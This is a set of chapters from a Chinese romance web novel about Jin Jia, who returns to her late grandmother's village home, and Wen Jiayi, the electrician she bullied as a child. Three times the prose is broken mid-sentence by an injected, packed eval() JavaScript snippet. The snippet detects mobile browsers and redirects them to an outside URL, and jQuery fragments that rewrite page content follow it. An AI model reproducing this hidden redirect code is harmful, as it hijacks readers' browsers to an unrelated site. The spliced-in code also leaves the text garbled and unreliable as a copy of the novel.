靳迦愣住了,这人什么脑回路?正常情况,这时候难道不该立马答应?老实说...就闻加一罗列的这些东西,高低能从里面再赚一笔差价呢。
“你要坑我也拦不住。”
就冲靳迦的这句话,但凡换个人,都能坑死她。
一秒不到,闻加一就给她回了过来——
“那行,回头弄好了,我给你报价,但你放心...我肯定不坑你钱。”
靳迦真是有点无语了,自己说她坑钱了吗?难道不是她张口闭口提钱,一副显得自己好像有多狭隘似的,非得把人往坏了想。
她隐约有种感觉,闻加一似乎很针对她,但转念一想,算上两人在高铁车厢碰过的那一次,到现在拢共也就见过两面,好端端她没事干针对自己?况且她还要挣自己的钱,于情于理都说不过去。
靳迦也是难得在嘴上被人哑了火,再看看聊天记录,说她过分又不明显,反倒还有种这人替自己宽心的感觉,叫人弄水电不就是怕被坑钱嘛。
直觉告诉她,这家伙精着呢。
于是转手回去一条——
“好的,闻师傅。”
闻加一看见‘闻师傅’这三个字,先是一怔,随即笑了出来,一边刷看聊天记录,一边想着靳阿蛮此刻吃瘪的样子,她一定是察觉出自己对她的态度有问题,但又琢磨不明白是怎么一回事。
可闻加一并不认为自己有必要和她解释,但凡靳阿蛮长点良心,也不至于连自己是谁都不知道,最后得出结论就两个字——活该。
靳阿蛮你就猜去吧。
咱们来日方长。
手机撂去一边,再不去看。
...
这边,蔚蓝换了衣服从卧室出来,见靳迦盘腿坐在沙发上,一副气鼓鼓的表情,便上前问道——
“怎么了你?”
靳迦立马把手机举到蔚蓝眼前,满脸困惑——
“你说...不是我瞎想吧?她是不是有点针对我?”
蔚蓝瞥了一眼聊天记录,回身拿起茶几果盘里的一根香蕉...扒了皮,十分专注地往嘴里送。
“我叫她闻师傅,是我不对,但我也不知道她这么年轻,面都没见过...我不叫她师傅叫什么?难不成张口就叫美女啊?”
“也不是不行,她确实是个美女。”
靳迦见蔚蓝还跟她不着四六的开玩笑,两手顿时往腰间一叉。
蔚蓝这才正经起来,咽下嘴里软嫩的香蕉,抿了抿嘴唇,再开口的时候,一双眼睛落在好友脸上,既认真又疑惑地问道——
“靳阿蛮,你真一点都不记得她了?”
“什么意思?”
“你六岁那年,在学校里把一个留着短发穿背心裤衩的小姑娘硬生生的从女厕所门口给推进了旁边的男厕所里...”
“我有吗?”
“怎么没有,你指着人家说是小男孩,手还在裤□□比划,说人有小鸡/鸡...”蔚蓝摇了摇头,虽说这事过去挺久的,但架不住靳阿蛮当时那股厉害劲儿,“你非要人家去男厕所,人家不去,你就生拉硬拽,最后给人逼得没辙了,当场尿了裤子,周围都是人啊...那叫一个惨烈...”
靳迦对这事一丁点记忆都没有了,听蔚蓝这么一说,脑子里顿时就冒出闻加一那张清冷孤寡的脸——
“你怎么早不跟我说?”
“我也没想到你真不记得了,也是...一般这种事都是受害者记得比较清。”
蔚蓝从沙发上站起身,拍拍靳阿蛮的肩膀——
“得了,你也别多想,她应该也不是针对你,顶多就是想到这事儿没办法对你热情,不过...你也换位思考一下,这要换成你被逼的当众尿了裤子,恐怕你现在都得去扒她裤子呢...人家够不错了,多好啊...给你干活,还不坑你钱。”
靳迦显然是还没从这事的真假里回过神儿,但看着蔚蓝说的有模有样...八成是真的了。
她自己的毛病自己知道,小时候干的那些坏事,哪回不是转头就忘,她外婆跟在人家屁股后面赔不是,转头又拍拍胸脯跟她说,没事,有外婆在呢~..哪个小孩子不调皮捣蛋?最主要的是别叫人瞧见正脸,往后记得腿脚一定得跑快。
靳迦视线一转,刚想再说点什么,却又愣住,她立马跳脚朝蔚蓝蹦过去,指着她后脖颈上的一块红色印迹——
“你这是跑哪鬼混去了?啧啧啧...这嘬的也太狠了吧?!都出血了”
蔚蓝既不遮也不挡——
“我拿手掐的。”
屁!又一个拿手掐的。
——
三天后,闻加一就把东西置备齐了,给靳迦发了个消息,说是明天十点到。
靳迦专门定了闹钟,借了蔚蓝的车,专门提前了一个小时候着。
她才拿起扫帚扫了扫地上的灰,一抬眼就见闻加一骑着辆三轮来了,身后还跟了一条卷毛边牧。
靳迦立马放下扫帚,拉开拴着的大铁门,老远就冲闻加一挥手示意。
三轮开进老院里,闻加一从车上下来,还是老样子,条纹衬衫、工字背心,下身着一条黑色工装裤,风吹过来的时候,将她的衣摆轻轻扬起,很有一番飘逸之感,唯一不同之处,是她今天没有披着头发,而是将头发绑在脑后。
她右手拉起棕色狗绳,卷毛边牧和她的漂亮主人,一人一狗...颇有一番田园牧歌的画面。
说女人不好色,完全是对女人最大的误解,要不是这人没长在你的审美点上,要不就是她不够吸引你的眼球,但凡沾染其中一个,你都做不到熟视无睹。
靳迦挪开步子,拿起事先准备好的那罐冰镇红牛,伸手递去——
“来瓶红牛,提神醒脑~”
闻加一没客气,接过打开,一口气就喝了半罐。
喝的有些急,唇边溢出些晶莹亮渍,她也没管,手背朝嘴边一揩,便冲靳迦略一点头,淡声问道——
“怕狗吗?”
靳迦低头一看,就见那条卷毛边牧在窝着脑袋,在自己裤脚边来回扒拉。
“不怕。”
闻加一在狗屁股上踢了下,松了狗绳,让它去那颗枯枣树底下玩。
她则提了提裤子,戴上白线手套,转头去到三轮后斗里,将带来的东西一样样拆开,又将工具箱也一并打开,有条不紊地按照自己的顺序开干。
拉了电闸,挑开电线外面的塑胶皮,钳子捏着露出来的金属线,用力一拧就绞成麻花状。
闻加一在这边撸起袖管吭哧吭哧地干活,狗在那边的树底下,两只前爪扑哧扑哧地刨土。
一人一狗,这声音..也相得益彰。
一时间靳迦的目光就变得匆忙起来,她既想看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353057|199641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
狗刨土,又想看人撸袖子干活。
她喜欢美人,尤其喜欢生命力蓬勃的美人。
但凡闻加一是个白幼瘦,都不能入她的眼。
叮的一声手机响了,是蔚蓝发来的语音——
“靳阿蛮,你丫疯了吧?一大早就吃蒜头面?”
“我吃蒜头面怎么了?我又不跟人亲嘴~”
“给你也做了一碗,提神醒脑,喷香!”
靳迦不以为然地耸了耸肩。
她跟蔚蓝说话都这样,插科打诨不能当真,全是发小间的日常用语。
只是说者无心,听者却有意...
闻加一的耳朵根儿沿着脖颈子,瞬间就跟被火烤一样,通红无比。
她又想到,高中大冒险那次,喝多了的靳阿蛮在她嘴上摩挲的那两下...喝醉了,脑子不清醒就算了,现在滴酒未沾..竟然也是荤话张口就来?吃蒜头面和人亲嘴有什么八杆子的亲戚关系?亏她联想的出来。
可见...这人脑子里没什么正经的好东西。
牙一咬,胳膊也绷紧了,接电路的脑力活,硬生生让她干成体力活,电钻钻眼的嗡隆声,不像钻在墙上,像钻在了心头。
靳迦视线一瞥,好死不死落在她绷紧的手臂上
眼睛一亮又一亮——
嘶...这肌肉的纹路可真漂亮啊...
平常健身吗?
哑铃单手10公斤应该不成问题吧。
她搓着步子,朝闻加一走过去,刚走到旁边,还没来得及开口说话,就被闻加一倏地一个扭脸,止住了距离。
“你干什么?”闻加一提防着她,同时还咬了咬嘴角,力道下地有点大,牙印都被她咬了出来。
靳迦猛地刹住,但脸上的表情却不恼,相反还有点心虚,再三斟酌下,觉得还是有必要和她把误会解开,否则再这么继续下去,保不准闻加一会更讨厌自己,讨厌自己是小,万一给自己墙里塞把剪刀,那事情可就大了,祖宅宝地的风水可不能坏。
踮踮脚,踢踢腿,笑容灿烂,一副跟人卖乖讨巧的模样。
“你有话就说。”闻加一不习惯靳迦这样,看惯了她的神经大条,冷不丁秀气起来,总觉得要有妖风。
“咱们聊聊~”
“聊什么?”
“就...随便聊聊,比如...童年往事。”
闻加一眉头拧起,童年往事?
你都不记得我,我跟你聊得着吗?
“你到底要说什么?”
“就...也没什么...”
靳迦也不习惯自己这样,顿了顿声,干脆就开了口——
“那个..我都知道了,我跟你道歉,你别生我气了,我那时候也还小,真不是故意对你那样的。”
听到这话,闻加一后脊背瞬间窜起一股热汗。
她知道...?她都想起来了?!
“你....”
“我那时候才六岁,刚有点性别意识,你头发那么短,又穿着背心裤衩,我就以为你是小男孩,要不然我绝对不会把你堵在厕所门口,害你尿裤子的....别说..你现在变化真大,我一点都没认出来...”
闻加一头皮发麻,这人有病是不是?
“你不说话,我就当你接受我的道歉了...”
靳迦越说气越虚,怎么主动道歉还这样呢?她觉得闻加一的表情特别不好,好像随时都会给自己来一下子似的,一边点头,一边两脚往后退——
“当然,你不接受也不要紧,主要是...我做错了,得认错...”
“...您忙..您忙...”
直到,靳迦退到那颗枯枣树底下时,才把秉着的气呼了出来...
她蹲下身,两只手在卷毛边牧的大脑袋上挼了挼,悄咪咪地说道——
“她一直都这么凶吗?”
“往后她要是打你,你就来找我...我给你买肉罐头~”
话音刚落,卷毛边牧突然在嗓子里低嗷了一声,紧跟着两条前腿扬起,朝着靳阿蛮就扑了过去,靳阿蛮被它扑倒在地,都还没反应过来,一条红通通热烘烘的大舌头,就在她的嘴上快速舔过一口。
那一下来的特别快,以至于靳阿蛮在被舔过后的两秒,都还处于呆滞状态。
“过来!”
闻加一撂下手里的电钻,喊了一声。
靳迦当即一怔,也不晓得是哪根弦接错了神经,居然想要冲着这道声音的源头...朝着闻加一..爬过去
她刚有这个动作,只见一条黑白相间的影子,嗖的一下就从眼前飞窜而去,靳迦这才意识到,闻加一叫的是狗,不是她。
靳迦傻了,脸上的表情尴尴尬尬,恨不能找个地缝当场就钻进去。
“你这狗怎么舔人啊?”
多新鲜,哪只狗不舔人?
闻加一俯身在狗脑袋上摁了一把,随即撩开眼皮,浮皮潦草地朝靳阿蛮睨去一眼——
“它重口。”
总不能说狗随主人吧...
你大爷的!
8. 真是条好狗,给我报仇了
好好的一个人,怎么就偏长了个狗脑子?
闻加一本着气死人不偿命的冷淡口吻呛声过后,见靳阿蛮还在地上倒着,人便走了过去。
她拽掉白线手套,一只线条骨干,清瘦修长的手伸到了靳阿蛮眼前。
靳阿蛮望着眼前伸来的手,这只手并没有因为干活而脏污,相反指甲光亮,指缘修剪齐整,杏仁形状,尖细纤巧,面朝自己的掌心,纹路也清爽有致,风从她的指缝间透过,那股薄荷茉莉的隐幽,又钻进靳阿蛮的鼻子里,排除这人的臭脾气另看...这的的确确是一只漂亮的好手。
“还不起来?地上脏。”
话落间..靳迦猛地握住了这只手,力道之大,竟把闻加一都拽地向前踉跄了一下,好在闻加一下盘够稳,借着劲儿,往怀里一拉,靳阿蛮就从地上站了起来。
待靳阿蛮一站稳,闻加一立即松手抽回。
她转身的动作几乎和抽手的速度同时进行。
这让靳阿蛮很不爽,好像自己是什么脏东西,迫不及待地要离开。
可只有闻加一知道,方才那短暂的两手交握代表什么,那因为紧握时刻,阻挡了血液流通,在手背白色皮肤留下红色的充血痕迹,此刻又在快速松开的一霎...四散而去。
她低头,看着手上方才凝聚的红痕,再度恢复白皙,可心里紧绷地弦...却仍在默默敲打。
二十七岁的人了,至于拉一下靳阿蛮的手就这么无措吗?
她连你是谁都不知道。
闻加一觉得自己挺没劲的。
这边,靳阿蛮从兜里掏了张湿纸巾,把嘴上湿漉漉的口水用力擦干净。
那边,闻加一背身继续专注干活。
往后的时间,两人各自为阵,谁也没再说话。
不知不觉,日头从早上的十点,悄然间挪移到了下午四点。
闻加一拽下手套,一回身便见靳阿蛮仰坐在树下的那把破旧黄藤椅上,翘着二郎腿,一摇一晃颇为悠闲自在。
靳阿蛮双目微合,脸颊扬起,明亮的光线,恰好与她的下颌连接成三点一线,记忆里那个青春活泼的少女,就这样又一次在闻加一的视线里,再度重合。
这副光景,闻加一不是第一次见,她一直都觉得靳阿蛮身上有股适闲的慵懒劲儿,她好像对什么事都不上心,别说是一个人独处的时候,就算是跻身于喧闹的街市,她也能立即沉浸在自己的世界中。
闻加一有种感觉,或许靳阿蛮没有外表看上去的那么快乐,她心里装着不能与人诉说的惆怅心事。
脚步声挨近,靳迦睁开眼睛,扭脸一看,闻加一已经走到了她身边。
“今天先到这儿,主屋的我弄好了,你可以去看看?”
“不用了。”靳迦像是刚刚打过一个盹儿,从椅子上起身的时候,两只手还向上舒展了一个懒腰,“多少钱?”
靳迦从兜里掏出手机,要把钱给她转过去。
“活还没干完。”
“材料费?”
“到时候多退少补吧。”
“这么大方,你不怕我跑了啊?”
“你要跑我也拦不住。”
闻加一把靳迦的话原封不动地还给她,再瞧瞧着靳阿蛮一副吃瘪哑火的模样,心里只觉得暗爽,她觉得这人真逗,该她多想的一点不放心上,不该她操心的,又一本正经的不得了。
没再多言,闻加一舌尖抵在下牙,飞了声口哨,就见那条卷毛边牧拖着身后的狗绳窜出老院大门。
靳迦见状,刚想开口叫她,却冷不丁又被闻加一回过头来地眼神止住。
闻加一眼睛微眯,嘴角撇开一抹笑——
“靳迦,你肚子露出来了。”
“什么?”
靳阿蛮愣了下,赶忙低头看去,是刚刚伸懒腰时,衣服卷了边,白嫩的细腰从中间露出一截儿。
一枚银亮的脐钉闪闪发光。
露得可真是时候啊。
·
这天晚上,闻加一胃口大开,吃了满尖一碗饭,就连闻大军打电话说的那些狗屁烂调,都没影响。
她舒舒服服洗了个澡,趿着人字拖从屋子里出来,手里的罐头便应声开落,蹲下来将狗罐头反扣在了食盆里。
卷毛边牧伸着狗爪子,口水都流了一地,也不敢妄加动作,只因为闻加一前两天才说它太肥了,要减重。
“躲什么?”闻加一掐着狗头就往食盆里摁,“吃吧,今天给你加餐。”
一听这话,大卷毛才放开自己,呼噜呼噜吃个喷香。
闻加一张开五指插/进柔软的狗毛里,顺皮捋没完。
她看狗吃的香,脑子里却是靳迦嘴被舔的那一下,倏地笑出声——
“真是条好狗,给我报仇了。”
她是睡了个好觉,但靳迦这边就难过了..扯着被子来回翻了三百个身,也还是清醒的一点困意都没有。
虽然失眠对于生病之后的靳迦来说,就跟菜摊子上甩卖的大白菜的一样没差别,但却也有不同之处,以往她只会加大安眠药的剂量,止住脑子里那些天马行空的胡思乱想,可今天...她的大脑却异常醒目,一遍遍地上演自己被狗扑到,被狗舌头舔了嘴巴,还有闻加一的那一声——「过来!」
她觉得自己不是病情加重了,就是脑子坏掉了,怎么会想要爬过去呢?闻加一没看出来还好,要是看出来...就算自己把脸皮全撕碎了埋在土里,都遮不住这丢人丢到姥姥家的跌份。
“唉哎——”
靳迦把被子蒙在脸上,长长地发出一声叹息。
“还睡不着?”蔚蓝问她。
“精神的能用脚抠出三室一厅。”
...这是个什么形容?
“...我再去吃颗药吧。”
“睡不着就算了,是药三分毒。”
“没事,我现在百毒不侵。”
靳迦把药含在嘴里吞下肚中,可那药今天就像过期失效了一样,反而闻加一的那张脸却越发清晰地浮现眼前,清冷的眉眼,寡淡的表情,无味的声线....魔怔似的一遍遍席卷她的大脑。
忽然..躺在床上的蔚蓝,就听咚咚咚的脚步声,黑着的屋子被刺眼的灯光霎时照亮,还没适应光线,就被靳迦凑过来的脸,怔了下——
“你说...我该不是个抖M吧?”
“拉倒吧...就你?抖S还差不多。”
...
这一晚上,靳迦直到天快亮才睡着,她留了老宅的钥匙给闻加一,迷迷糊糊给她发了条微信,说自己今天不过去。
闻加一不晓得靳迦怎么了,想问她,但又找不到合适的理由开口,毕竟这种事也不需要时刻都来。
只是...没有靳迦在旁边,闻加一看着空荡荡的宅院,看着枯枣树底下的那把黄藤椅,却又似乎丧失了某种活力。
她觉得她们的关系,正处在一种失衡的状态,只是...这种失衡,只与自己有关。
就这样吧...也挺好的,反正她早晚都还是要走。
闻加一回了个——「好」。
便将烦思甩到脑后。
.
接下来的两天,两人都没再碰过面。
靳迦把老宅里里外外打扫了一遍,泛黄的白墙,陈旧的瓷砖,以及脱漆的木质家具,这些由于时间流逝,而打磨出岁月年轮的横迹,在彻底清洁过后,有种换汤不换药的旧里透新。
她生在仪庙,长在仪庙,是被外婆何老太一手带大的。
何老太生前最担心的就是孙女往后没个依靠,于是总把野气和硬气由生活的方方面面渗透给靳迦,女孩子最紧要是见世面,特别是钱财上决不能抠搜,要么不买,要买就买最好的!这样以后才不至于被人拿个破洋娃娃就诓骗了去。
老人家常挂在嘴边的一句话,便是——‘抠着抠着,窟窿等着。’
靳迦打小就知道自己是个爹不疼妈不爱的孩子,可外婆把全部的爱都给了她,情真意切的深爱都是最滋养人性的肥料,正是外婆这独一无二的爱,才让靳迦即便没有爹妈疼爱,也始终在骨子都存着一份底气。
只是这底气,换算成日子来计量,却也透着一股不能与人诉说的心酸。
她爸妈把她扔给了老人,除了每个月必须的生活费以外,隔三差五,何老太都会找几个由头,打电话给女儿和前女婿——阿蛮要请教家,阿蛮要买新校服,阿蛮要学钢琴...要学跳舞...
包括...阿蛮把同学头打破了...
阿蛮把学校玻璃砸了...
有时候,何老太还会说自己身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353058|199641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
体不舒服,要钱去检查身体...但凡能想到的理由,都被何老太说了个遍。
每回何老太都是躲着靳迦打电话,可同一屋檐下,总有几次会被靳迦碰见,时间一长,累计起来...也就数不清了。
靳迦从来没问过,只装不知道...她不喜欢这种向人讨钱的生活,哪怕对方是她的父母,可她也明白...如果不要,那她们祖孙俩的日子就会变得艰难。
现实的因子在靳迦的心里埋入伏笔,她没受过穷,却又中毒已深。
这大概就是,靳迦在功成名就之后,不管买什么东西,都要价高者得的缘故,她喜欢高档这两个字,那是一种永远也不会让别人发现你内心穷酸的保障。
她早慧,也争气,天生一颗灵光的好脑瓜,从没叫老人在考学的道路上操过心,拿到985的录取通知书,靳迦对何老太拍着胸脯说——“外婆您等着,往后我在北京买一套大房子,接您过去享清福~”
那时何老太的身子骨且硬朗,七十多岁的人走起路来比年轻人还稳健,松弛的皮肤虽然布满苍老的皱纹,但脸颊却红扑扑地泛着光,靳迦说就您老这状态,少说一百岁打底。
何老太坐在老院旁边的大枣树底下,慢悠悠地抿了口小二白,被辣的嘴里直斯哈,听靳迦这话,眼睛都笑没了,她说——那敢情好,外婆指定得活到一百岁,等着你出息!
如今,靳迦已然入世,房子有了,钱财有了,出息也有了,可何老太却没能活到一百岁看见这一幕。
靳迦将那把破旧的黄藤椅从屋子里搬出来,坐落在那颗儿时参天繁茂,现下却枯死残垣的大枣树下,她仰头而望,暮色的星空在时间里穿梭,由睫毛撩开的缝隙间,一切光阴悄然远逝,留下的只有记忆中的事与愿违。
“是阿蛮吧?”一道柔声从老院的大铁门外传来。
“我是。”靳迦站起身来,应过一声后,只见那人推开大门走了进来。
四十来岁的中年妇人,圆脸身微胖,笑起来亲近怡人,可靳迦却想不起来她是谁了?
“你不记得我了?也是,你那时候还小,况且都出去这么多年了,不记得我也正常。”妇人对她笑笑,手往西北方向一指,“我就住在那儿,你往后要是有什么事,尽管来找我,你外婆对我很好,从前帮过我不少,现在你回来了,千万别不好意思张口。”
说着,妇人还拿出一大兜子翠绿的鲜葡萄,“都是自家种的。”
靳迦还是记不起她是谁,只是人情种种都是可以由言语温热而暖,话家常似的聊过几句后,记不记得也不打紧了。
临走之前,妇人压低了声音,温柔小小地问道:“这些年,在外面还好吧?”
一份善意猝然而生,可对靳迦来说却在内心深处划开了一道浅浅地豁口,将她引入空虚的荒芜之中。
“挺好的。”
就是外婆享不到我的福了。
曾经的靳迦以为外婆会陪她很久很久,她们之间最起码也该再有二十年的相伴时光,可人生的步履从不会照本宣科,它比作家笔下离奇的转折,来的更要出乎意料。
恍惚茫然间,外婆就被逐出了时间之外,自小长大的乡里,儿时的记忆也脱手而去,偌大的四方老院,独剩她一个归人。
送别了妇人,靳迦听见对面人家屋中传来的欢笑声,远处一两声发散的狗吠,电视机的音量太大,是七点整的新闻联播。
靳迦走出了老院,站在水泥铺平的石子路上,这里太平静了,一眼望过去都是农家小院,远处有田亩,近处有溪流,路口的位置是联通城市的高速路,飞逝而过的车辆,从来不会驻足。
她抬头仰望夜空,眨眼的星星发散光芒,这里的日子是繁华都市的背离面,小桥流水人家的惬意的确能滋养身心,只是...她习惯了北京的车水马龙,那些五光十色的万花筒,她远远没有看够过...
北京多好啊...
是自己不好...
没出息,竟然生了病。
想着想着...靳迦的眼泪就掉了出来,她蹲下身,手捂住脸,起伏的肩膀汹涌耸动,呜咽低泣的哭声...渐行渐大...
那是....
不远处的闻加一用力拽住手里的狗绳,另只手握住狗嘴筒子——
靳阿蛮在哭。
9. 你单身,她也单身
闻加一右手拽紧狗绳,迅速绕过两圈收拢距离,左手捏住狗嘴,避免它发出声音,暴露自己的位置。
她立在原地,观望着蹲在石子路边哭泣的靳阿蛮,一直等到哭声变小,小声变无,靳阿蛮起身回了老院,这人应该是蹲麻,往回走的时候,步子一瘸一拐。
又等了会儿,确定靳迦不会再出来,闻加一才折返回家。
她自始至终只是看着,并没有上前,成年人都有不想被外人看见的脆弱时刻,外人也亦有维护的必要,这不代表情感疏离,只是一份恰当的体面。
可她还是很想知道靳阿蛮为什么哭?毕竟一个从来都不轻易落泪的人,现下毫无形象地大哭出声,闻加一下意识察觉到,靳阿蛮大概率是遇到什么难事了。
回到家的时候,电视机里的新闻联播已经放完,换了个台是《落叶归根》,又换了个台是《牧马人》,这几天也不知道是怎么回事,来来回回重复播的都是这些思乡情怀的老片子。
闻加一没兴趣,她不信这些东西,她觉得这些不过是充满了人文情怀的理想主义论调,见过了高山,又怎么可能还会留恋贫瘠。
人生的高度从来都是比较级。
沈秀梅煮好了饭,叫她来吃。
闻加一没胃口,舀了一大勺辣酱,筷子随意拌了拌,便囫囵吞进肚中。
“少吃点辣,肚子会疼。”沈秀梅突然开口说道,手还抬起来,在闻加一的脸上轻柔地摸了摸。
闻加一僵了一下,旋即低头继续吃。
妈..不能吃辣的是嘉宝,不是我。
没过一会儿,大概是沈秀梅的脑子又清楚了,转而望向她——“妈刚刚又糊涂了。”
“没事。”
我习惯了。
吃完饭洗过碗再出来的时候,闻加一隔着卧室的门缝,就看见沈秀梅抱着闻嘉宝的衣服,垂丧地坐在床边..嘴里念叨——
“要是嘉宝还在就好了...”
这个家不算严格意义上的重男轻女,因为就算有了闻嘉宝,父母也从未在物质上克扣过闻加一,更没有说过什么姐姐必须要照顾弟弟的话,但闻加一却又明显能感受到,相比较自己,弟弟对这个家更重要。
在闻加一的记忆里,沈秀梅一直因为生不出儿子,而被爷爷嫌弃,全家人聚在一起吃年夜饭,沈秀梅都要挨骂。
小时候闻加一不懂,长大一点,她明白了,这是来自父权社会结构的一种对女性苛刻的规训。
那时她经常一边写作业,一边看着沈秀梅坐在床边打排卵针,各种难闻的黑乎乎的苦涩中药,被沈秀梅一碗接一碗的喝进肚子,哪怕是恶心的都要吐了,也还得日复一日的喝。
闻加一想...反抗或许是挣脱牢笼的最佳解,但其耗费的时间实在太过漫长,很有可能还没有成功,就胎死腹中,到最后受到的伤害只会更大。
渐渐地...她也盼望沈秀梅可以早点怀孕,生下一个儿子,以此来摆脱这种没有尽头的困斗。
后来,沈秀梅终于怀孕,弟弟的出生,让家里的两个男人扬眉吐气,同时也让家里的两个女人松了一口气。
可惜好景不长,谁能想到那个被几代人当做童年圣地的水库,竟然会要了闻嘉宝的命?
闻加一想,或许闻嘉宝的出生,一开始就是从各种嫌怨中,被拔苗助长催促而来的,所以...才会无论怎么留都留不住吧。
如果,这是一场女性主义的电影就好了,宿命式的反思结局,一定会成为年度黑马,可放在现实生活中,除了一个失去儿子的苦命母亲,再无其他。
因为,父亲大抵都是会逃避、消失。
闻加一心酸的厉害...
是啊,要是嘉宝还在就好了。
“妈——”
“嗯?”
“我陪你说说话吧。”
闻加一陪了沈秀梅很久,直到沈秀梅睡去,她才从屋子出来。
轻轻地把门阖上后,走到院子里,她喝着手里的啤酒,冰凉的液体沁入心喉,抬头眺望远处那座老院...脑子里又冒出来靳阿蛮蹲地哭泣的模样...
她变了,高中时的靳阿蛮是个活泼开朗,永远将笑容挂在脸上的灿烂女孩,那时候闻加一常常会因为白天看见了她的笑容,夜里偷偷做些害羞恼人的香梦,醒来时...心跳会由于梦中人而乱了频率...
在很长很长的一段时间里,闻加一都会为这种青春期的暗恋情思而生出惭愧。
如今,长大成人的靳阿蛮,在不经意间显露出脆弱的一面,她瘦弱而无助。
她到底怎么了?
是不是过得不快乐?
闻加一始终被靳阿蛮的哭声围剿,她并没有看清她的眼泪,可眼里却总浮现出她眼角的决堤。
这次没再犹豫,掏出手机,果断拨去电话——
“有空吗?我请你吃饭。”
——
闻加一打来电话的时候,叶流正把蔚蓝堵在次卧的门板上,发狠地亲着,而此刻的厨房里叶良新和蔚文芳正在等水开锅下饺子。
“叶流,你是不是变态?!”
“生气了?我以为你很享受呢...”
“我又不是变/态!”
“别总把这两个字挂在嘴上,你知道我的...真要逼急了,我什么都做得出。”
“叶流,你别乱来,有什么话咱们等回去了再说,我妈和你爸还在外面。”
“你怕了?”
叶流似笑非笑的眸子,却带着一股不容置哙地恼怒。
蔚蓝怕了..怕叶流真的会发狠,她不敢想象要是东窗事发,会掀起如何的轩然大波,蔚蓝恐惧那样骇人的场面,她会发疯的。
“昨天为什么不过来?我等了你一晚上...”
“我昨天有事...”
“什么事?”
蔚蓝答不出,她总不能告诉是叶流给她转的那笔帐,刺痛了她的自尊心吧?可叶流也不是第一次在她们做完爱之后转账,真要说这是伤害,未免也来的太迟钝些。
“我今天过去。”
“蔚蓝,我什么事都可以依着你,唯独这件事不行。”
“我知道我混蛋,可你不是早就知道了吗?”
“这趟浑水淌都淌了,你千万别想把我一个人撂在这儿。”
叶流说完,眼中的那股恼怒才消去,转而又亲切起来,摸摸她的嘴唇,低头亲亲被自己咬/红的皮肉。
这才松开蔚蓝,去接电话。
蔚蓝趁着这个空档,赶忙开门出去。
蔚文芳的饺子已经煮好,看见蔚蓝的下巴上红了好大一片,便问她——
“你下巴怎么了?”
“被狗咬了。”
“什么?”
蔚蓝的语速又快又小,蔚文芳没听清。
“没什么...过敏了。”
“那你要不要涂点药膏啊,我那有——”
话还没说完,蔚蓝就冲进了卫生间,嘭的一声把门关上,站在洗手台前俯下身,一捧接一捧的冷水朝脸上冲。
“你个狗****”!!”
另一边,叶流把电话接通,听闻加一说要请她吃饭,瞬间就笑出了声。
叶流何许人也,生意场上练就了一套窥音听心的本事,她捏着手机,食指抬起敲打着机身——
“你是单纯想请我吃饭呢,还是有事要跟我打听?”
闻加一沉默了。
“要是单纯请我吃饭,就不必了,你我之间不用这么客气,可要是有事打听,我觉得你光请我吃饭没用,毕竟...我对靳阿蛮也不了解,你最好还是问她本人比较快。”
闻加一打心底佩服叶流,如果有人问她..顶级人精什么样,她铁定把叶流推到No.1
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353059|199641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叶流逗她的——
“你丫就一典型回避型人格,想打听就打听,有什么抹不开面儿?”
“这样吧,也别吃饭了,吃饱喝足就想睡觉了,去喝酒吧,我来攒局。”
“谢谢。”
“别谢了,我能问问为什么吗?你转变得很突然,上次不还说对人家没兴趣吗?现在怎么就有了?”
闻加一皱了皱眉,不轻不重地呼吸透过听筒——
“我看见她哭了。”
“靳阿蛮从来不哭的。”
挂断电话,叶流便听见蔚文芳喊她吃饺子。
她比蔚蓝沉得住气,哪怕才跟蔚蓝在次卧里激吻了一场,对着蔚文芳跟叶良新却也没有丝毫拘束,闲谈几句,就把两位长辈逗得哈哈大笑。
蔚蓝觉得...叶流比自己更像是她妈的女儿。
吃完饺子,蔚蓝主动收拾碗筷,刚想去拿围裙,一只手忽然伸了过来,叶流拿过围裙,套在身上,手往后一绕轻轻松松系了个结,就把蔚蓝从洗碗槽旁挤开,卷起袖管,洗起来碗来。
水流声哗哗涌进下水道,蔚蓝听见叶流说——
“晚上跟我去喝酒吧。”
“啊?”
“叫上靳迦。”
“啊?”
“有人想了解了解她。”
“谁?”
“闻加一”
——
年轻人的相识是再容易不过的一件事,几乎没有任何成本,只要你胆子足够大,人足够风趣幽默,那今晚就是良夜。
那家民谣吧,算是县城比较出名的一间了,偶尔会有几个业余乐队在里头弹唱自己写的歌。
闻加一过来的时候,叶流她们已经到了。
甫一进门,没几步,她就看见靳阿蛮坐在卡座最边上的单人沙发里,手里握着一瓶德国黑啤,纸巾包裹瓶身,一口一口往嘴里送。
